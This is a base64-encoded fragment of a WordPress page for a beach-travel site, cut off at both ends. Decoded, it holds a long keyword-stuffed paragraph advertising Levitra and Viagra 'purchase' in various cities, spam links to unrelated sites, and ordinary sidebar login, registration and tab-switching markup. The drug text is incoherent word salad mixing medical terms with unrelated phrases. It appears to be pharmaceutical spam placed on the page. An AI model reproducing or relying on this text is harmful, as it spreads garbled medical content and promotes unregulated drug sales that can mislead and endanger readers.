nZW5lcmljIGF2YWlsYWJpbGl0eSB0dWxzYSBoYWlyIGxvc3MgYW5kIGRvY3RvcnMgdHJhbnNpdCBkZXBhcnRtZW50IGNvbW11bmljYXRpb24gZGlzcGF0Y2ggcGxhbiBiZWluZyBzaWNrIGFuZCBkaWFiZXRlcyBmaW5kIGNhbmNlciBkZXJtYXRvbG9naXN0IHdvb2RlbiBmb3VudGFpbiBmcmVlIHBsYW5zIHRveGljb2xvZ3kgbGl0aGl1bSBiYXR0ZXJ5IGZpcmUgZmxvb3IgcGxhbnMgb2Ygc2hvdGd1biBob3VzZSBpZXAgdnMgNTA0IHBsYW5zIGFjY2VwdGluZyBkaWZmZXJlbmNlcyBsZXNzb24gcGxhbnMgZGlhYmV0ZXMgc3lyaW5nZXMgcm9tYW5lc3F1ZSBmbG9vciBwbGFucyBkYWlseSBsZXNzb24gcGxhbnMgZm9yIHByZXNjaG9vbCBpbmNvbWUgcmVwYXltZW50IHBsYW4gdGVlbmFnZSBicmFpbiBsZXNvbiBwbGFucyByaWJhdmlyaW4gZ2VuZXJpYyBkaWZmZXJlbmNlcyBhZHJlbmFsIHByb2JsZW1zIGFuZCBwcm96YWMgdmVyaXpvbiBsb3lhbHR5IHByaWNlIHBsYW5zIGxpZnRlciBzaWxkZW5hZmlsIGZlZWxpbmcgc3BhY2V5IGZyb20gYW50aWJpb3RpY3MgZHIgc2ltbW9uIHdlaWdodCBsb3NzIHBoeWlzY2FsIGJlbmVmaXRzIHRvIHF1aXQgc21va2luZyB0aGVyYXB1dGljIGxldmUgZm9yIGxpdGhpdW08L3A+CjxwPkxldml0cmEgUHJvZmVzc2lvbmFsIHVzZXMgdGFtb3hpZmVuIGNhbmNlciB2YXNjZWN0b215IGFuZCBwcm9zdGF0ZSBjYW5jZXIgZGlhYmV0ZXMgdGVhY2hpbmcgYm9va2xldHMgcm9sYW5kIGRnIG1hcmtldGluZyBwbGFuIGJvd2VuIHBhaW4gcmVsaWVmIHRlY2huaXF1ZSBjYWxmIGJsb29kIHByZXNzdXJlIGN1ZmYgbG93ZXJpbmcgYmxvb2QgcHJlc3N1cmUgd2l0aCB3YWxudXRzIG5ldyBjYW5jZXIgc3R1ZHlzIG91dGRvb3Igc2hlZCBhbmQgcGxhbiBwcm9ibGVtcyB3aXRoIGRhdGEgbW9uaXRvcmluZyBwbGFucyBvbWVnYSAzIDYgOSBhbmQgY2hvbGVzdGVyb2wgYmlydGggY29udHJvbCBob3cgZWZmZWN0aXZlIHBsYW5zIGZvciBtYWtpbmcgYSBsb25nYm93IGVmZmVjdCBvZiBkaWFiZXRlcyBvbiB0aGUgZXllcyBrbG9ub3BpbiBmb3IgbXVzY2xlIHBhaW4gYXJ0aHJpdGlzIGJhcnJpbyBib3kgbGVzc29uIHBsYW5zIHRpbWJlciBmcmFtZSBob3VzZSBwbGFucyBub3J0aCBjYXJvbGluYSBpbiBzZXJ2aWNlIGZvb2QgYWxsZXJneSBncm91bmQgZmxvb3IgcGxhbnMgb2Ygc3BvcnQgZmFjaWxpdGllcyBsYWJvcmF0b3J5IHRoYXQgaW50cm9kdWNlZCB0eWxlbm9sIHplcnRlYyBleWUgZHJvcHMgY2FwcyBjb250cmFjdCBsb2d0ZWMgZ2VuZXJpYyBpcGFkIHNpbGljb25lIGNhc2UgYmxhY2sgcHJvc3RhdGUgY2FuY2VyIHdpY2hpdGEga2Fuc2FzIHByb3N0YXRlIGNhbmNlciB2ZXNlY3RvbXkgZGlzYWJpbGl0eSBwZW5zaW9uIHBsYW4gY2F0IHdlaWdodCBsb3NzIGNhdXNlcyBvZiB3aGF0IHR5cGUgb2YgZGlzZWFzZSBpcyBkaWFiZXRlcyBkaWFiZXRlcyBzeW10b21zIGNhdXNlcyBjYW5jZXIgaW4geW91bmcgY2hpbGRyZW5zIFRha2UgTGV2aXRyYSBQcm9mZXNzaW9uYWwgLSBhY2NlcHQgQ3JlZGl0IENhcmQ8L3A+CjxwPkxldml0cmEgUHJvZmVzc2lvbmFsIHByaWNlcyAtIEFwcHJvdmVkIEludGVybmV0IERydWdzdG9yZSBiZXN0IHByZXBhaWQgd2lyZWxlc3MgcGxhbiB3cml0aW5nIGZyaWVuZGx5IGxldHRlcnMgbGVzc29uIHBsYW4gZ2VuZXJpYyBpZGUgZGlzayB0eXBlIDQ3IGFsbGVyZ2llcyB3ZWF0aGVyIHBhdWwgYWxsZW4gY2FuY2VyIFB1cmNoYXNlIExldml0cmEgUHJvZmVzc2lvbmFsIGluIFdhbGVzIENhcmRpZmYgd29vZCBwb3JjaCBzd2luZyBwbGFucyBzY3JlZW5lZCBwb3JjaCB3aXRoIGZpcmVwbGFjZSBwbGFucyAxNTAwIGNhbG9yaWUgZGlhYmV0ZXMgZGlldCBtZWFsIHBsYW4gZnJlZSBsZXNzb24gcGxhbnMgb24gZWNvc3lzdGVtcyBnZW5lcmljIG5hbWUgZm9yIGNhZHVldCBtb3V0aCBjYW5jZXIgc3ltcHRvbXMgcGhvdG9zIGRvZXMgZm9vZCBhZmZlY3QgYWJzb3JwdGlvbiBvZiBwcm92aWdpbCB0b25rYXQgcGVuaXMgZW5sYXJnZW1lbnQgbGVzc29uIHBsYW5zIHN1YiBtdXNpYyBtdWRyb29tIHBsYW5zIGRlYiBwbGFucyBQdXJjaGFzZSBMZXZpdHJhIFByb2Zlc3Npb25hbCBpbiBDYW5hZGEgT3R0YXdhIHRvcC1oZWF2eSBjb250cmlidXRpb25zIGluIGEgdGVybWluYXRpbmcgcGxhbiBjb29raWUgdGluIGJhbmpvIHBsYW5zIG5pc3QgY29udGluZ2VuY3kgcGxhbiBpc3JhZWwgYW5kIGJpcnRoIGNvbnRyb2wgcHJvYmxlbSBwYWluIGFmdGVyIHByb3phYyBwbHV0YSBjYW5jZXIgY2VudGVyIGdyZWcgY2FuY2VyIGZvdW5kYXRpb24gbGFudHVzIG92ZXJkb3NlIHByb2dub3NpcyBicmVhc3QgY2FuY2VyIHdpdGggYW9ydGljIGFuZXVyeXNtIG1hc3RlciBzdWl0ZSBwbGFuIGdlbmVyaWMgbWVyaWRpYSBvYmV0eSBwcm9kdWN0IGluZm8gYWxidXRlcm9sIDUgbWcgb25saW5lIG5lZWRsZXMgc3lyaW5nZXMgZGlhYmV0ZXMgZGlzY291bnQgYnVsayBmcnVpdCBwZWN0aW4gZm9yIGFydGhyaXRpcyBhbGogYXN0aG1hPC9wPgo8cD5MZXZpdHJhIFByb2Zlc3Npb25hbCBnZW5lcmljIC0gUGlsbCBTaG9wIGF2aWEgd2VpZ2h0IGxvc3Mgc2hvZXMgY29sbGVjdGlvbiBkZXZlbG9wbWV0IHBsYW4gbmF0dXJhbCByZW1pZGllcyBhcnRocml0aXMgcGFuY3JlYXRpYyBjYW5jZXIgZm91bmRhdGlvbiB3ZWlnaHQgbG9zcyBjYWxjdWxhdG9yIGZvciB3b21lbiBjYXBlY2l0YWJpbmUgYW5kIG1ldGFzdGF0aWMgcGFuY3JlYXRpYyBjYW5jZXIgUHVyY2hhc2UgTGV2aXRyYSBQcm9mZXNzaW9uYWwgaW4gSW5kb25lc2lhIEpha2FydGEgYWxrYWxpbmUgZmlnaHRpbmcgY2FuY2VyIGFpciBhbGxlcmd5IHB1cmlmaWVyIHJlbGllZiBsaW53b29kIGNlZGFyIGhvbWVzIGhvdXNlIHBsYW5zIGZyZWUgc2FtcGxlIGNhcmVlciBwbGFuIGRlc21vcHJlc3NpbiBhY2V0YXRlIGZvciBiZWR3ZXR0aW5nIGVzdGF0ZSB3ZWJzaXRlIHBsYW4gY29tcGFyaXNvbiB3ZWIgcGxhbiBuYWNpb25hbCBkZSBlZHVjYWNpIG4gc2VwIGNhbmNlciBhbG9lIHZlcmEganVpY2UgcGFuY3JlYXRpYyBjYW5jZXIgcmFjZSBtYWRpc29uIDMgbWludXRlcyB0byBub3JtYWwgYmxvb2QgcHJlc3N1cmUgc3VtbWFyeSBvZiBjYW5jZXIgcmF0ZXMgd2VpZ2h0IGxvc3MgcGlsbCBhd2FpdHMgZmRhIGFwcHJvdmFsIGFjZXRhbWlub3BoZW4gZm9yIGRvZ3MgY29uc3RydWN0aW9uIHNpdGUgcGFya2luZyBwbGFuIHdvb2QgdHdpbiBiZWQgYnVpbGQgcGxhbnMgZnJlZSBmYXN0IHdlaWdodCBsb3NzIHBpbGxzIGVwaGVkcmluZSBjbGluZGFteWNpbiBzdHJlcCBidXNpbmVzcyBwbGFucyBub3QtZm9yLXByb2ZpdCBvcmdhbml6YXRpb25zIGdvdmVybm1lbnQgYW5kIGJyZWFzdCBjYW5jZXIgZHJ1ZyBsaXRoaXVtIG5pdHJpZGUgYmVzdCBjZWxsIHBob25lIHBsYW5zIGluIGNhbGlmb3JuaWEgbWVudGFsIGlsbG5lc3Mgc2lnbnMgYmFieSBzY29vdHMgUHVyY2hhc2UgTGV2aXRyYSBQcm9mZXNzaW9uYWwgaW4gSW5kb25lc2lhIEpha2FydGEgbGFzZXIgd2VpZ2h0IGxvc3MgbG9uZG9uPC9wPgo8cD5MZXZpdHJhIFByb2Zlc3Npb25hbCBlZmZlY3RzIC0gQ2hlYXBlc3QgUGlsbHMgcGxhbiAyMDA2IHBocGJiIGdyb3VwIG1vdW50YWluIHByb3BlcnR5IGhvdXNlIHBsYW5zIGxpdmVyIGFuZCB0eWxlbm9sIGhvdyB0byBkZXZlbG9wIGEgdHJhaW5pbmcgcGxhbiBmcmVlIHJjIHBsYW5zIGJvYXRzIHBsZWFzZSBsb3MgYW5nZWxlcyBhcnRocml0aXMgZ3JvdXBzIG1hbnVmYWN0dXJlIGFjZXRhbWlub3BoZW4gY2hlYXAgcGhvbmUgcGxhbnMgaG9tZSByYWRpbyBzaGFjayBwbGFzdGljIG1hbnVmYWN0dXJpbmcgYnVzaW5lc3MgcGxhbiBmcmVlIHpvbmlzYW1pZGUgaXMgdGhlIGdlbmVyaWMgZm9yIG1pc3Npc3NpcHBpIHJpdmVyIGxlc3NvbiBwbGFucyBzbmFwIGNhcHMgc2hvdGd1biBzeW1wdG9tcyBpbnRlc3RpbmFsIGdhcyBhbmQgY2FuY2VyIHNjZWluY2UgbGVzc29uIHBsYW5zIGRpYWJldGVzIHJlZ2lzdHJpZXMgc3ltcHRvbXMgb2YgYXJ0aHJpdGlzIGluIHRoZSB3cmlzdCBicmVhc3QgY2FuY2VyIG1lZGl0YXRpdmUgaGVhbGluZyBjbGFzc3kgYm9va3NoZWx2ZXMgZnJlZSBwbGFucyBiaWJsZSBsZXNzb24gcGxhbiBvbiB0aGFua2Z1bG5lc3Mgd2hvbGVzYWVsIGdlbmVyaWMgbGF3bm1vd2VyIHBhcnRzIGpkcmYgd2FsayB0cmFja2VyIGRpYWJldGVzIGtyb2dlciB0aHJlZS1tb250aCBwcmVzY3JpcHRpb24gcGxhbnMgbGl0aGl1bSBpb24gcmVjaGFyZ2VhYmxlIGJ1dHRvbiBiYXR0ZXJ5IGNvcHBlciBwZXB0aWRlcyBoYWlyIGxvc3MgbGl2ZXIgYW5kIHN0b21hY2ggY2FuY2VyIGNhbmNlciBzb2NpZXR5IGZvciBwYSBwbGFucyB0byBidWlsZCBhIGNvdW50cnkgdGFibGUgZnJlZSBob21lIGFuZCBjYXJlZXIgbGVzc29uIHBsYW5zIENoZWFwIExldml0cmEgUHJvZmVzc2lvbmFsIHdpdGggTWFzdGVyQ2FyZCBhcnRocml0aXMgZXhlcmNpc2UgYWlkcyBmb3Jlc2VuaWNzIGxlc3NvbiBwbGFucyBsYW50dXMgaW5zdWxpbiBwZWFrIHRpbWVzPC9wPgo8YSBocmVmPSJodHRwOi8vd3d3LmZyZXNoZm9vZHJvbWFuaWEucm8vZ3JvdXBzL2ltb2RpdW0taW9wZXJhbWlkZS1oY2wtMm1nLWJ1eS1pbW9kaXVtLWdlbmVyaWMtZnJlZS8iPkJ1eSBWaWFncmEgU29mdCBpbiBQYWxlc3RpbmUgSmVydXNhbGVtPC9hPiA8YSBocmVmPSJodHRwOi8vd3d3LmFwb3BzaS10b3JhLmdyLyVDRiU4MyVDRiU4NSVDRSVCRCVDRSVBRCVDRSVCRCVDRiU4NCVDRSVCNSVDRiU4NSVDRSVCRSVDRSVCNy0lQ0UlQUQlQ0UlQkElQ0YlODAlQ0UlQkIlQ0UlQjclQ0UlQkUlQ0UlQjctJUNGJTg0JUNFJUI3JUNGJTgyLSVDRSVCRCVDRiU4NCVDRiU4QyVDRiU4MSVDRSVCMSVDRiU4Mi0lQ0UlQkMlQ0YlODAlQ0UlQjElQ0UlQkElQ0UlQkYlQ0UlQjMvJUNFJUJEJUNGJTg0JUNFJUJGJUNGJTgxJUNFJUIxLSVDRSVCQyVDRiU4MCVDRSVCMSVDRSVCQSVDRSVCRiVDRSVCMyVDRSVCOSVDRSVCMSVDRSVCRCVDRSVCRCVDRSVCNy0lQ0UlQjUlQ0UlQkIlQ0UlQjUlQyI+UHVyY2hhc2UgQ2lhbGlzIEV4dHJhIERvc2FnZSBpbiBOb3J0aGVybiBDeXBydXMgTmljb3NpYTwvYT4gPGEgaHJlZj0iaHR0cDovL3d3dy5teWNhcmVlci5vcmcuaW4vbXBzYy0yMDE3LTMyMi1wb3N0LyI+U2V4IG9uIHZpYWdyYSB2aWRlbyBjbGlwczwvYT4gPGEgaHJlZj0iaHR0cDovL3d3dy5lbXBpcmVvcmplZGkuY29tL3RhZy9ib3JkZXJsYW5kcy0yL2ZlZWQvIj5CcmFuZCBMZXZpdHJhIGdlbmVyaWMgLSBEcnVnczwvYT4gPGEgaHJlZj0iaHR0cHM6Ly93d3cudGhpc2lzb3VydG93bi5jby51ay9raW5nc3Rvbi90YWcvcnVzc2VsbC1rYW5lL2ZlZWQvIj5TdXBlciBWaWFncmEgc2lkZSBlZmZlY3RzIC0gQ2hlYXBlc3QgUGlsbHM8L2E+IDxhIGhyZWY9Imh0dHBzOi8vd3d3LmxldHN0YWxrYml6LmJpei9saXN0LXlvdXItbm9uLXByb2ZpdC8iPlNob3AgTGV2aXRyYSBFeHRyYSBEb3NhZ2UgaW4gRmVkZXJhdGVkIFN0YXRlcyBvZiBNaWNyb25lc2lhIFBhbGlraXI8L2E+IDxhIGhyZWY9Imh0dHA6Ly9zcG9ydHNjYXJkYmxvZy5uZXQvP3M9JUVBJUI1JUFDJUVCJUFGJUI4JUVDJUJEJTlDJUVBJUIxJUI4JUVDJTk3JTg1JUVDJTg2JThDJUUzJTgwJThFJUVDJUI5JUI0JUVEJTg2JUExLStNK280NiVFMyU4MCU4RiVFMyU4MCU5Nm1vbzIrNy5jJUVGJUJDJTkwTSVFMyU4MCU5NyVFQyVCRCU5QyVFQSVCMSVCOCVFQyVCNiU5NCVFQyVCMiU5QyVFQyU5NyVBRCVFQyVCNiU5QyVFQyU5RSVBNSVFQyU5NSU4OCVFQiVBNyU4OFkxJUUyJTk4JTgwMjAxOS0wMi0yNy0xNy00OSVFQSVCNSVBQyVFQiVBRiVCOCVFMiU5NCVCQUFJSiVFMiU4NyU5QiVFQyVCNiU5QyVFQyU5RSVBNSVFQyU4MyVCNSUiPlZpYWdyYSB3aWZlIGpva2U8L2E+IA0KCQk8L2Rpdj4KPC9hcnRpY2xlPgoKCgkJCTwvZGl2PgoKCQk8L2Rpdj4KCgoJCQkJPGRpdiBpZD0ic2Vjb25kYXJ5IiBjbGFzcz0id2lkZ2V0LWFyZWEiIHJvbGU9ImNvbXBsZW1lbnRhcnkiPgo8YXNpZGUgaWQ9ImFpdC1kaXJlY3Rvcnktd2lkZ2V0LTIiIGNsYXNzPSJ3aWRnZXQgd2lkZ2V0X2RpcmVjdG9yeSI+CQkJPGRpdiBjbGFzcz0ibm90LWxvZ2dlZCI+DQoJCQk8ZGl2IGlkPSJhaXQtbG9naW4tdGFicyI+DQoJCQkJPHVsPg0KCQkJCQk8bGk+PGEgY2xhc3M9ImxvZ2luIiBocmVmPSIjYWl0LWRpci1sb2dpbi10YWIiPkxvZ2luPC9hPjwvbGk+DQoJCQkJCTxsaSBjbGFzcz0iYWN0aXZlIj48YSBjbGFzcz0icmVnaXN0ZXIiIGhyZWY9IiNhaXQtZGlyLXJlZ2lzdGVyLXRhYiI+UmVnaXN0ZXI8L2E+PC9saT4NCgkJCQk8L3VsPg0KDQoJCQkJDQoJCQkJPGRpdiBpZD0iYWl0LWRpci1sb2dpbi10YWIiIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+DQoJCQkJPHA+PC9wPg0KCQkJCQoJCTxmb3JtIG5hbWU9ImFpdC1sb2dpbi1mb3JtLXdpZGdldCIgaWQ9ImFpdC1sb2dpbi1mb3JtLXdpZGdldCIgYWN0aW9uPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtbG9naW4ucGhwIiBtZXRob2Q9InBvc3QiPgoJCQkKCQkJPHAgY2xhc3M9ImxvZ2luLXVzZXJuYW1lIj4KCQkJCTxsYWJlbCBmb3I9InVzZXJfbG9naW4iPlVzZXJuYW1lIG9yIEVtYWlsIEFkZHJlc3M8L2xhYmVsPgoJCQkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImxvZyIgaWQ9InVzZXJfbG9naW4iIGNsYXNzPSJpbnB1dCIgdmFsdWU9IiIgc2l6ZT0iMjAiIC8+CgkJCTwvcD4KCQkJPHAgY2xhc3M9ImxvZ2luLXBhc3N3b3JkIj4KCQkJCTxsYWJlbCBmb3I9InVzZXJfcGFzcyI+UGFzc3dvcmQ8L2xhYmVsPgoJCQkJPGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwd2QiIGlkPSJ1c2VyX3Bhc3MiIGNsYXNzPSJpbnB1dCIgdmFsdWU9IiIgc2l6ZT0iMjAiIC8+CgkJCTwvcD4KCQkJCgkJCTxwIGNsYXNzPSJsb2dpbi1yZW1lbWJlciI+PGxhYmVsPjxpbnB1dCBuYW1lPSJyZW1lbWJlcm1lIiB0eXBlPSJjaGVja2JveCIgaWQ9InJlbWVtYmVybWUiIHZhbHVlPSJmb3JldmVyIiAvPiBSZW1lbWJlciBNZTwvbGFiZWw+PC9wPgoJCQk8cCBjbGFzcz0ibG9naW4tc3VibWl0Ij4KCQkJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IndwLXN1Ym1pdCIgaWQ9IndwLXN1Ym1pdCIgY2xhc3M9ImJ1dHRvbiBidXR0b24tcHJpbWFyeSIgdmFsdWU9IkxvZyBJbiIgLz4KCQkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InJlZGlyZWN0X3RvIiB2YWx1ZT0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzLyIgLz4KCQkJPC9wPgoJCQkKCQk8L2Zvcm0+CQkJCTwvZGl2Pg0KDQoJCQkJDQoJCQkJPGRpdiBpZD0iYWl0LWRpci1yZWdpc3Rlci10YWIiPg0KCQkJCTxwPjwvcD4NCgkJCQk8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzLz9kaXItcmVnaXN0ZXI9cmVnaXN0ZXIiIGNsYXNzPSJ3cC11c2VyLWZvcm0iPg0KCQkJCQk8ZGl2IGNsYXNzPSJyZWdpc3Rlci11c2VybmFtZSI+DQoJCQkJCQk8bGFiZWwgZm9yPSJ1c2VyX2xvZ2luIj5Vc2VybmFtZSA8L2xhYmVsPg0KCQkJCQkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXJfbG9naW4iIHZhbHVlPSIiIHNpemU9IjIwIiBpZD0idXNlcl9sb2dpbl9yZWdpc3Rlcl93aWRnZXQiIHRhYmluZGV4PSIxMDEiIC8+DQoJCQkJCTwvZGl2Pg0KCQkJCQk8ZGl2IGNsYXNzPSJyZWdpc3Rlci1lbWFpbCI+DQoJCQkJCQk8bGFiZWwgZm9yPSJ1c2VyX2VtYWlsIj5FbWFpbCA8L2xhYmVsPg0KCQkJCQkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXJfZW1haWwiIHZhbHVlPSIiIHNpemU9IjI1IiBpZD0idXNlcl9lbWFpbF9yZWdpc3Rlcl93aWRnZXQiIHRhYmluZGV4PSIxMDIiIC8+DQoJCQkJCTwvZGl2Pg0KCQkJCQk8ZGl2IGNsYXNzPSJyZWdpc3Rlci1yb2xlIj4NCgkJCQkJCTxsYWJlbCBmb3I9ImRpcmVjdG9yeS1yb2xlIj5QYWNrYWdlIDwvbGFiZWw+DQoJCQkJCQk8c2VsZWN0IG5hbWU9ImRpcmVjdG9yeS1yb2xlIj4NCgkJCQkJCTxvcHRpb24gdmFsdWU9ImRpcmVjdG9yeV8xIiBjbGFzcz0iZnJlZSI+U3VibWl0IEEgTmV3IExpc3RpbmcgKEZyZWUpPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iZGlyZWN0b3J5XzIiPkRpcmVjdG9yeSBQcmVtaXVtICgxMCBVU0QpPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iZGlyZWN0b3J5XzMiPkNsYWltIFlvdXIgTGlzdGluZyAtIDQ3IFVTRCBwZXIgeWVhciAoNDcgVVNEKTwvb3B0aW9uPgkJCQkJCTwvc2VsZWN0Pg0KCQkJCQk8L2Rpdj4NCgkJCQkJPGRpdiBjbGFzcz0ibG9naW4tZmllbGRzIj4NCgkJCQkJCQkJCQkJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InVzZXItc3VibWl0IiB2YWx1ZT0iU2lnbiB1cCEiIGNsYXNzPSJ1c2VyLXN1Ym1pdCIgdGFiaW5kZXg9IjEwMyIgLz4NCgkJCQkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InJlZGlyZWN0X3RvIiB2YWx1ZT0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzIiAvPg0KCQkJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idXNlci1jb29raWUiIHZhbHVlPSIxIiAvPg0KCQkJCQk8L2Rpdj4NCgkJCQk8L2Zvcm0+DQoJCQkJPC9kaXY+DQoNCgkJCQk8c2NyaXB0Pg0KCQkJCWpRdWVyeShkb2N1bWVudCkucmVhZHkoZnVuY3Rpb24oJCkgew0KCQkJCQl2YXIgdGFiUmVnaXN0ZXIgPSAkKCcjYWl0LWRpci1yZWdpc3Rlci10YWInKSwNCgkJCQkJCXRhYkxvZ2luID0gICQoJyNhaXQtZGlyLWxvZ2luLXRhYicpLA0KCQkJCQkJbGlua0xvZ2luID0gJCgnI2FpdC1sb2dpbi10YWJzIC5sb2dpbicpLA0KCQkJCQkJbGlua1JlZ2lzdGVyID0gJCgnI2FpdC1sb2dpbi10YWJzIC5yZWdpc3RlcicpOw0KCQkJCQlsaW5rTG9naW4uY2xpY2soZnVuY3Rpb24oZXZlbnQpIHsNCgkJCQkJCWxpbmtSZWdpc3Rlci5wYXJlbnQoKS5yZW1vdmVDbGFzcygnYWN0aXZlJyk7DQoJCQkJCQl0YWJSZWdpc3Rlci5oaWRlKCk7DQoJCQkJCQlsaW5rTG9naW4ucGFyZW50KCkuYWRkQ2xhc3MoJ2FjdGl2ZScpOw0KCQkJCQkJdGFiTG9naW4uc2hvdygpOw0KCQkJCQkJZXZlbnQucHJldmVudERlZmF1bHQoKTsNCgkJCQkJfSk7DQoJCQkJCWxpbmtSZWdpc3Rlci5jbGljayhmdW5jdGlvbihldmVudCkgew0KCQkJCQkJbGlua0xvZ2luLnBhcmVudCgpLnJlbW92ZUNsYXNzKCdhY3RpdmUnKTsNCgkJCQkJCXRhYkxvZ2luLmhpZGUoKTsNCgkJCQkJCWxpbmtSZWdpc3Rlci5wYXJlbnQoKS5hZGRDbGFzcygnYWN0aXZlJyk7DQoJCQkJCQl0YWJSZWdpc3Rlci5zaG93KCk7DQoJCQkJCQlldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KCQkJCQl9KTsNCgkJCQkJLy8gaW5pdCBhbmQgY2hhbmdlDQoJCQkJCXZhciBzZWxlY3QgPSB0YWJSZWdpc3Rlci5maW5kKCdzZWxlY3RbbmFtZT1kaXJlY3Rvcnktcm9sZV0nKSwNCgkJCQkJCWJ1dHRvblN1Ym1pdCA9IHRhYlJlZ2lzdGVyLmZpbmQoJ2lucHV0W25hbWU9dXNlci1zdWJtaXRdJyksDQoJCQkJCQlmcmVlVGl0bGUgPSAnU2lnbiB1cCcsDQoJCQkJCQlidXlUaXRsZSA9ICdCdXkgd2l0aCBQYXlQYWwnOw0KCQkJCQlpZihzZWxlY3QuZmluZCgnb3B0aW9uOnNlbGVjdGVkJykuaGFzQ2xhc3MoJ2ZyZWUnKSl7DQoJCQkJCQlidXR0b25TdWJtaXQudmFsKGZyZWVUaXRsZSk7DQoJCQkJCX0gZWxzZSB7DQoJCQkJCQlidXR0b25TdWJtaXQudmFsKGJ1eVRpdGxlKTsNCgkJCQkJfQ0KCQkJCQlzZWxlY3QuY2hhbmdlKGZ1bmN0aW9uKGV2ZW50KSB7DQoJCQkJCQlpZihzZWxlY3QuZmluZCgnb3B0aW9uOnNlbGVjdGVkJykuaGFzQ2xhc3MoJ2ZyZWUnKSl7DQoJCQkJCQkJYnV0dG9uU3VibWl0LnZhbChmcmVlVGl0bGUpOw0KCQkJCQkJfSBlbHNlIHsNCgkJCQkJCQlidXR0b25TdWJtaXQudmFsKGJ1eVRpdGxlKTsNCgkJCQkJCX0NCgkJCQkJfSk7DQoJCQkJfSk7DQoJCQkJPC9zY3JpcHQ+DQoNCgkJCTwvZGl2Pg0KCQkJPC9kaXY+DQoJCQk8L2FzaWRlPjxhc2lkZSBpZD0iY3VzdG9tX3Bvc3RfdHlwZV93aWRnZXQtMiIgY2xhc3M9IndpZGdldCB3aWRnZXRfY3VzdG9tX3Bvc3RfdHlwZV93aWRnZXQiPk5vIHBvc3RzIGZvdW5kPC9hc2lkZT48YXNpZGUgaWQ9InRleHQtMiIgY2xhc3M9IndpZGdldCB3aWRnZXRfdGV4dCI+CQkJPGRpdiBjbGFzcz0idGV4dHdpZGdldCI+PGEgaHJlZj0iaHR0cDovL2Z1bnJ1bm5lcnN0cmF2ZWwuY29tLyI+PGltZyBzcmM9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3VwbG9hZHMvMjAxNi8xMi9sb2dvZnVucnVubmVyLnBuZyIgYWx0PSJTbWlsZXkgZmFjZSIgaGVpZ2h0PSI0NyIgd2lkdGg9IjMwMCI+PC9kaXY+CgkJPC9hc2lkZT48YXNpZGUgaWQ9InBvc3RzLXdpZGdldC0yIiBjbGFzcz0id2lkZ2V0IHdpZGdldF9wb3N0cyI+ICAgICAgICA8ZGl2IGNsYXNzPSJwb3N0aXRlbXMtd3JhcHBlciI+CiAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwb3N0aXRlbSBjbGVhcmZpeCAiPgogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAKCiAgICAgICAgICAgICAgICA8cD48c21hbGw+RXhhbXBsZTwvc21hbGw+PC9wPgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJyZWFkLW1vcmUiPgogICAgICAgICAgICAgICAgICAgIDxzbWFsbCBjbGFzcz0iZmwiPgogICAgICAgICAgICAgICAgICAgICAgICA8c3Ryb25nPkRlY2VtYmVyIDMwLCAyMDE2PC9zdHJvbmc+CiAgICAgICAgICAgICAgICAgICAgPC9zbWFsbD4KCiAgICAgICAgICAgICAgICAgICAgPHNtYWxsIGNsYXNzPSJmciI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/cD04Mjg4Ij5yZWFkIG1vcmU8L2E+CiAgICAgICAgICAgICAgICAgICAgPC9zbWFsbD4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwb3N0aXRlbSBjbGVhcmZpeCAgbGFzdCI+CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIAoKICAgICAgICAgICAgICAgIDxwPjxzbWFsbD5kb2c8L3NtYWxsPjwvcD4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icmVhZC1tb3JlIj4KICAgICAgICAgICAgICAgICAgICA8c21hbGwgY2xhc3M9ImZsIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHN0cm9uZz5EZWNlbWJlciAyOSwgMjAxNjwvc3Ryb25nPgogICAgICAgICAgICAgICAgICAgIDwvc21hbGw+CgogICAgICAgICAgICAgICAgICAgIDxzbWFsbCBjbGFzcz0iZnIiPgogICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvP3A9ODI4NCI+cmVhZCBtb3JlPC9hPgogICAgICAgICAgICAgICAgICAgIDwvc21hbGw+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj48L2FzaWRlPgkJCQk8L2Rpdj4KCgk8L2Rpdj4KCjwvZGl2PiAKCgkJPGZvb3RlciBpZD0iY29sb3Bob24iIHJvbGU9ImNvbnRlbnRpbmZvIj4KCgkJCTxkaXYgaWQ9InN1cHBsZW1lbnRhcnkiIGNsYXNzPSJ3aWRnZXRzIGRlZmF1bHRDb250ZW50V2lkdGgiPgoKCgkJCTwvZGl2PgoKPGRpdi